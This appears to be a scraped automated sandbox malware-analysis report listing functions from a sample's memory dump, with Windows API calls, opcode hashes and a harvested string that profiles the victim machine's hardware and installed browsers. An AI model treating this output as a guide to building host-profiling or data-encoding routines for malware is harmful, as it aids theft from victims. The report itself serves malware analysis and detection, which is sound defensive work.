Snapshot File: hcaresult_0_2_60000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateByteCharCryptDataFreeLocalMultiProcessUnprotectWide
String ID:
API String ID: 2609814428-0
Opcode ID: a8510b4a1704a7255ba987a173385b9e6ec9d423afc15a2c53c858a103df9087
Instruction ID: 0e5afb477b97cb7c79770e087b3bddf4057b95f9f3d02b6ba6c357a3fb004640
Opcode Fuzzy Hash: a8510b4a1704a7255ba987a173385b9e6ec9d423afc15a2c53c858a103df9087
Instruction Fuzzy Hash: 780100B5A40208BBEB50DFD4DD4AF9E77B9AB44B04F104154FB05AA2C0DB74AA00CB65

Function 00078EA0 Relevance: 6.1, APIs: 4, Instructions: 58encryptionCOMMON

Download Yara Rule

APIs

CryptBinaryToStringA.CRYPT32(00000000,00065184,40000001,00000000,00000000,?,00065184), ref: 00078EC0

Memory Dump Source

Source File: 00000000.00000002.2250063389.0000000000061000.00000040.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.2250020597.0000000000060000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000011D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000142000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000014F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000016F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000225000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000022B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.00000000002BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000453000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000558000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250783736.0000000000568000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250899332.0000000000709000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250920422.000000000070A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptString
String ID:
API String ID: 80407269-0
Opcode ID: 0f41c90fc50b19c7314da20df44028e69a44243ab803c8bcd13b37323f993bec
Instruction ID: cef8fdf34449b3a89356a03fba849e73e6dfdc45fd200669dc78ff6951fc1ff5
Opcode Fuzzy Hash: 0f41c90fc50b19c7314da20df44028e69a44243ab803c8bcd13b37323f993bec
Instruction Fuzzy Hash: AD110670640209AFDB40CF64E888FAA33A9BF8A710F10D458F9198B250DB39E841DB68

Function 00069AC0 Relevance: 6.1, APIs: 4, Instructions: 55encryptionmemoryCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00064EEE,00000000,00000000), ref: 00069AEF
LocalAlloc.KERNEL32(00000040,?,?,?,00064EEE,00000000,?), ref: 00069B01
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00064EEE,00000000,00000000), ref: 00069B2A
LocalFree.KERNEL32(?,?,?,?,00064EEE,00000000,?), ref: 00069B3F

Memory Dump Source

Source File: 00000000.00000002.2250063389.0000000000061000.00000040.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.2250020597.0000000000060000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000011D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000142000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000014F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000016F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000225000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000022B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.00000000002BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000453000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000558000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250783736.0000000000568000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250899332.0000000000709000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250920422.000000000070A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptLocalString$AllocFree
String ID:
API String ID: 4291131564-0
Opcode ID: dbc07c5f0d62b8a3c411b07f7b34c04959ee54e14f65313d7022bd89072da427
Instruction ID: 36927f32d5f551e52f403e13f9a3563719c073936a1199352bbdb8da19fb2d56
Opcode Fuzzy Hash: dbc07c5f0d62b8a3c411b07f7b34c04959ee54e14f65313d7022bd89072da427
Instruction Fuzzy Hash: 8011A4B4240208AFEB10CF64DC95FAA77B9FB89B10F208058F9159B394C775A901DB50

Function 6C6B85F0 Relevance: 5.9, APIs: 2, Strings: 1, Instructions: 619COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C6B8C7C
__aulldiv.LIBCMT ref: 6C6B8DD7

Strings

6600 @ 2.40 GHz- Cores: 2- Threads: 4- RAM: 8191 MB- Display Resolution: 1280x1024- GPU:-Microsoft Basic Display AdapterUser Agents:Installed Apps:All Users:Google Chrome - 117.0.5938.132Microsoft Edge - 117.0.2045.47Microsoft Edge Update, xrefs: 6C6B8778, 6C6B8A30

Memory Dump Source

Source File: 00000000.00000002.2281270827.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2281233657.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281357840.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281396505.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281419004.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: __aulldiv
String ID: 6600 @ 2.40 GHz- Cores: 2- Threads: 4- RAM: 8191 MB- Display Resolution: 1280x1024- GPU:-Microsoft Basic Display AdapterUser Agents:Installed Apps:All Users:Google Chrome - 117.0.5938.132Microsoft Edge - 117.0.2045.47Microsoft Edge Update
API String ID: 3732870572-4208407987
Opcode ID: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction ID: 814de8cf06003e87ebb2477e944c0d94209f8b6e29ef4fbe5db3ef8435c7af2b
Opcode Fuzzy Hash: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction Fuzzy Hash: D5328F71F0011A8BDF18CE9CC8A17AEB7B2FB8C304F15853AD506BB7A0DA349D558B95

Function 00430F60 Relevance: 5.3, Strings: 3, Instructions: 1563COMMON

Download Yara Rule

Strings

t/O, xrefs: 004317BF
1{^, xrefs: 00431A80
a(!k, xrefs: 00431AE3

Memory Dump Source

Source File: 00000000.00000002.2250470007.00000000002BE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.2250020597.0000000000060000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000011D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000142000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000014F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000016F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000225000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000022B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000453000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000558000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250783736.0000000000568000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250899332.0000000000709000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250920422.000000000070A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 1{^$a(!k$t/O
API String ID: 0-3280847543
Opcode ID: 85bcd420ab3402be255c11b372ee0c296f1d0cb9f85e83fa1f296bff114bfd9e
Instruction ID: f5e4fb8f32f6f5862175ff9868eb3d110115f6692bd5745f398e8906645f5ca2
Opcode Fuzzy Hash: 85bcd420ab3402be255c11b372ee0c296f1d0cb9f85e83fa1f296bff114bfd9e
Instruction Fuzzy Hash: 13B2E6F3A0C200AFE7046E2DEC8577ABBE5EF94720F1A493DE6C4C3744E63598458696

Function 0043D418 Relevance: 4.7, Strings: 3, Instructions: 985COMMON

Download Yara Rule

Strings

B-}], xrefs: 0043DDC6
0h, xrefs: 0043DBD7
Ks_, xrefs: 0043DDB8

Memory Dump Source

Source File: 00000000.00000002.2250470007.00000000002BE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.2250020597.0000000000060000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000011D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000142000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000014F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000016F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000225000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000022B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000453000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000558000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250783736.0000000000568000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250899332.0000000000709000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250920422.000000000070A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 0h$B-}]$Ks_
API String ID: 0-3779892621
Opcode ID: c40d338da71e0b2ecc4893ce647803d0b5ddfb961c3866144972207ff4913672
Instruction ID: e5f1a5e2fcd8227b7c2cb26796dac505aafc84e4d6b0ca4d4b267815eaf076fa
Opcode Fuzzy Hash: c40d338da71e0b2ecc4893ce647803d0b5ddfb961c3866144972207ff4913672
Instruction Fuzzy Hash: 7B6228F3A082049FE304AE2DEC8567AFBE5EF94720F1A453DE6C4C7744EA3598158693

Function 6C696CF0 Relevance: 4.7, APIs: 3, Instructions: 231COMMON

Download Yara Rule

APIs

InitializeConditionVariable.KERNEL32(?), ref: 6C696D45
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C696E1E

Memory Dump Source

Source File: 00000000.00000002.2281270827.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2281233657.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281357840.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281396505.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281419004.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ConditionExclusiveInitializeLockReleaseVariable
String ID:
API String ID: 4169067295-0
Opcode ID: ba068df2cbb1ff551d94e21bc760f8014598e75bcf2a8839709e9f76211d8ed1
Instruction ID: cef72b3a95c0d67210e09b72d9d8342b2118f061bfe39851605f90312853d60d
Opcode Fuzzy Hash: ba068df2cbb1ff551d94e21bc760f8014598e75bcf2a8839709e9f76211d8ed1
Instruction Fuzzy Hash: 2BA17E706183818FC755CF25C490BAEFBE2BF89308F44495DE48A87751DB70E949CB96

Function 00073720 Relevance: 4.6, APIs: 3, Instructions: 100comCOMMON

Download Yara Rule

APIs

CoCreateInstance.COMBASE(0007E118,00000000,00000001,0007E108,00000000), ref: 00073758
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,00000104), ref: 000737B0

Memory Dump Source

Source File: 00000000.00000002.2250063389.0000000000061000.00000040.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.2250020597.0000000000060000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000011D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000142000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000014F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000016F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000225000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000022B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.00000000002BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000453000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000558000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250783736.0000000000568000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250899332.0000000000709000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250920422.000000000070A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_file.jbxd

Yara matches

Similarity

API ID: ByteCharCreateInstanceMultiWide
String ID:
API String ID: 123533781-0
Opcode ID: 6a9dc37bc1b50290f4893cec47711a952732a7b09e51874914c1bf5c88db8fb2
Instruction ID: a3a3cb6195551dc00a4f84ffbb2115f5924b45d0197d0a97e79bfc18d5ca8521
Opcode Fuzzy Hash: 6a9dc37bc1b50290f4893cec47711a952732a7b09e51874914c1bf5c88db8fb2
Instruction Fuzzy Hash: BE41F870A40A289FDB24DB58CC95BDBB7B4BB48702F4081D9E608EB2D0D7716E85CF51

Function 0043B1D0 Relevance: 4.0, Strings: 2, Instructions: 1542COMMON

Download Yara Rule

Strings

5?1>, xrefs: 0043B976
A%~w, xrefs: 0043BCFB

Memory Dump Source

Source File: 00000000.00000002.2250470007.00000000002BE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.2250020597.0000000000060000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000011D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000142000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000014F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000016F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000225000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000022B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000453000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000558000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250783736.0000000000568000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250899332.0000000000709000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250920422.000000000070A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 5?1>$A%~w
API String ID: 0-3096746665
Opcode ID: 4575ed76cf177c9d9ad3857cd9644febcebc45ae87189a4be9a584752e17f025
Instruction ID: 9f12801d88ae7abd7deea4a813ea7f581895c3f19333d6713e586be3be9e9d34
Opcode Fuzzy Hash: 4575ed76cf177c9d9ad3857cd9644febcebc45ae87189a4be9a584752e17f025
Instruction Fuzzy Hash: C7A207F360C204AFE304AE29EC8567AFBE5EFD4720F16893DE6C487744EA3558058697

Function 6C695C10 Relevance: 1.6, APIs: 1, Instructions: 333COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,?,6C664A63,?,?), ref: 6C695F06

Memory Dump Source

Source File: 00000000.00000002.2281270827.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2281233657.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281357840.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281396505.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281419004.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: 1913865122f404812779f936fc1b3168496d64710720d4fcf55dc420e8726b74
Instruction ID: 4e78ddb84189f0b869c18d016eff578674f1ff09ffa21a39c9186e2f069ba6a1
Opcode Fuzzy Hash: 1913865122f404812779f936fc1b3168496d64710720d4fcf55dc420e8726b74
Instruction Fuzzy Hash: 5FC1C275D0120A8BCB04CFA5D5906EEBBF2FF8A319F28425DD8556BB44D732A806CF94

Function 0041A1EC Relevance: 1.4, Strings: 1, Instructions: 199COMMON

Download Yara Rule

Strings

F%+, xrefs: 0041A3F7

Memory Dump Source

Source File: 00000000.00000002.2250470007.00000000002BE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.2250020597.0000000000060000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000011D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000142000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000014F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000016F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000225000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000022B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000453000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000558000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250783736.0000000000568000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250899332.0000000000709000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250920422.000000000070A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_file.jbxd

Yara matches

Similarity

API ID:
String ID: F%+
API String ID: 0-3693816144
Opcode ID: bc66c6dfd1823813aaf70e23dafb0c7a0aa15e9e717ed0ec9d1badcf51924999
Instruction ID: 6364a7e808a71c513dc032cdb9aa32f1094ade2b2e87da4fcf047bff23f2c4d3
Opcode Fuzzy Hash: bc66c6dfd1823813aaf70e23dafb0c7a0aa15e9e717ed0ec9d1badcf51924999
